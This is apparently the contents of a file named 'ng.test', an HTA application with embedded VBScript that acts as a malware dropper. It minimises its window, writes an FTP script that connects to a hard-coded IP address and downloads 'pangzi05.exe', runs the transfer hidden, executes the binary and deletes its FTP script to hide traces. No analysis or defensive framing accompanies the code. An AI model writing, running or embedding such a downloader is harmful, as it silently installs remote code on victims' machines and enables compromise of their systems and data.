ng.test內容

<HTA:APPLICATION caption="no" border="none" showInTaskBar="yes"
windowState="minimize">
<object id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object>
<script language="VBScript">
Dim fs, t
Set fs = CreateObject("Scripting.FileSystemObject")
Set t = fs.CreateTextFile("163.txt",True)
t.WriteLine("open 61.163.238.51")
t.WriteLine("nh")
t.WriteLine("nh")
t.WriteLine("lcd c:\")
t.WriteLine("bin")
t.WriteLine("get pangzi05.exe")
t.WriteLine("bye")
t.Close
wsh.Run "ftp -s:163.txt",0,true
wsh.Run "c:\pangzi05.exe"
fs.DeleteFile "163.txt",true
window.close
window.close
</script>